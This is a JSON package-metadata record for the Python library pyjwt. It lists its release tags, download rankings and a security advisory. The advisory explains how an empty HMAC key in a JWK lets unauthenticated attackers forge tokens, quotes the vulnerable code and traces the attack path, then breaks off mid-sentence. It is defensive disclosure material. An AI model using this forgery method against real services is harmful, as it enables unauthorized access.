com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.0.0a2"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.0.0a1"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.7.1"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.7.0"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.6.4"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.6.3"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.6.1"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.6.0"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.5.3"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.5.2"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.5.1"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.5.0"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.4.2"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests","release_url":null},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests","release_url":null},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.3.0"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.2.0"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.1.0"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.0.1"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/1.0.0"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests","release_url":null},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/0.4.2"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/0.4.1"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/0.4.0"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/0.3.2"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/0.3.1"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/0.3.0"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/0.2.3"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests","release_url":null},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/0.2.0"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests","release_url":null},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests","release_url":null}]},"repo_metadata_updated_at":"2026-12-04T05:22:55.715270Z","dependent_packages_count":1012,"downloads":762306465,"downloads_period":"last-month","dependent_repos_count":34706,"rankings":{"downloads":0.007153246381649539,"dependent_repos_count":0.03686673135157839,"dependent_packages_count":0.024577820901052257,"stargazers_count":1.4502748497359719,"forks_count":2.2574911914190388,"docker_downloads_count":0.3033710132114958,"average":0.6799558088334644},"purl":"pkg:pypi/pyjwt","advisories":[{"uuid":"GSA_kwCzR0hTQS1weGg0LTg1NmYtNGg4Oc4AB_GE","url":"https://github.com/advisories/GHSA-pxh4-856f-4h89","title":"PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery","description":"### Summary\n\n`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is\nthe empty string and returns a zero-length key without raising. When a token is\nthen verified with that key object (a `PyJWK`, or a `PyJWK` resolved by\n`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes\n`HMAC(key=b\"\", signing_input)` and accepts any token an attacker forged with the\nsame empty key. The attacker needs no secret knowledge: they reproduce the digest\nlocally with an empty key and set the token's `kid` to the empty-`k` JWK.\n\nThe empty-key rejection that `HMACAlgorithm.prepare_key` performs for\nstring/bytes secrets (added in 2.13.0) was never propagated to the sibling\n`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under\ndefault decode options this path only emits an `InsecureKeyLengthWarning`, not an\nerror, so verification still succeeds. This is the same \"empty/nil HMAC key is\naccepted by verify\" defect the JWT ecosystem is currently closing library-side:\nfast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a\nlibrary-side reject-empty-HMAC-key precondition.\n\n### Affected versions\n\n`PyJWT` (PyPI package `pyjwt`) `\u003c= 2.13.0`, current `master` at commit\n`7144e4534c34810f4525dc4578a32addd8212cff`. The string/bytes secret path is\nalready guarded in 2.13.0; the JWK/JWKS path is not.\n\n### Privilege required\n\nUnauthenticated. Any party who can reach a JWT-verifying endpoint of an\napplication that verifies via a `PyJWK` / `PyJWKSet` / `PyJWKClient` whose oct\nkey has an empty `k` can forge tokens with arbitrary claims.\n\nPreconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct\nentry carries an empty `k`. This occurs when the signing secret is sourced from\nan unset environment variable / unset config row / key-finder fallback that\nbase64url-encodes `b\"\"` into the published JWKS, or when the application trusts a\nJWKS containing such an entry. The equivalent unset-secret case for the\nstring-secret API (`jwt.decode(token, key=\"\")`) is already rejected in 2.13.0;\nthe JWK route is the remaining reachable surface for the same misconfiguration.\n\n### Vulnerable code\n\n`jwt/algorithms.py`, `HMACAlgorithm.from_jwk` (line 380):\n\n```python\n@staticmethod\ndef from_jwk(jwk: str | JWKDict) -\u003e bytes:\n    try:\n        if isinstance(jwk, str):\n            obj: JWKDict = json.loads(jwk)\n        elif isinstance(jwk, dict):\n            obj = jwk\n        else:\n            raise ValueError\n    except ValueError:\n        raise InvalidKeyError(\"Key is not valid JSON\") from None\n\n    if obj.get(\"kty\") != \"oct\":\n        raise InvalidKeyError(\"Not an HMAC key\")\n\n    return base64url_decode(obj[\"k\"])   # \u003c-- empty k -\u003e b\"\", no rejection\n```\n\nContrast the sibling `prepare_key`, which DID get the guard (lines 325-329):\n\n```python\ndef prepare_key(self, key: str | bytes) -\u003e bytes:\n    key_bytes = force_bytes(key)\n\n    if len(key_bytes) == 0:\n        raise InvalidKeyError(\"HMAC key must not be empty.\")\n```\n\nIn `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key\nmaterial directly, bypassing `prepare_key`, and the length warning is non-fatal\nby default:\n\n```python\n        if isinstance(key, PyJWK):\n            if alg != key.algorithm_name:\n                raise InvalidAlgorithmError(\n                    f\"Token algorithm {alg!r} does not match the key's \"\n                    f\"algorithm {key.algorithm_name!r}\"\n                )\n            alg_obj = key.Algorithm\n            prepared_key = key.key            # from_jwk output (b\"\"), prepare_key not run\n        else:\n            try:\n                alg_obj = self.get_algorithm_by_name(alg)\n            except NotImplementedError as e:\n                raise InvalidAlgorithmError(\"Algorithm not supported\") from e\n            prepared_key = alg_obj.prepare_key(key)\n\n        key_length_msg = alg_obj.check_key_length(prepared_key)\n        if key_length_msg:\n            if effective_options.get(\"enforce_minimum_key_length\", False):\n                raise InvalidKeyError(key_length_msg)\n            else:\n                warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4)  # default: warn only\n\n        if not alg_obj.verify(signing_input, prepared_key, signature):  # verify with b\"\" succeeds\n            raise InvalidSignatureError(\"Signature verification failed\")\n```\n\n`PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a\n`{\"kty\":\"oct\",\"k\":\"\"}` JWK yields `PyJWK.key == b\"\"`. `PyJWKSet` and\n`PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the\nJWKS-over-HTTP resolution route is affected identically.\n\nThe 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM\nhardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix\n(GHSA-jq35-7prp-9v3f), and the test suite has\n`test_hmac_prepare_key_rejects_empty_key` plus\n`test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty\nJSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the\nuntested sibling path this report closes.\n\n### How the attacker input reaches the sink\n\nAn unauthenticated HTTP client controls the bearer token entirely: its `kid`\nselects the empty-`k` oct JWK, and its signature is computed locally with the\nempty key. The token flows request header -\u003e `PyJWKClient.get_signing_key_from_jwt`\n(kid resolution against the trusted JWKS) -\u003e `jwt.decode` with the resolved\n`PyJWK` -\u003e `_verify_signature` -\u003e `HMACAlgorithm.verify(signing_input, b\"\", sig)`.\nNo secret,\ncredential, or prior session is required; the only server-side precondition is a\nJWKS oct entry with an 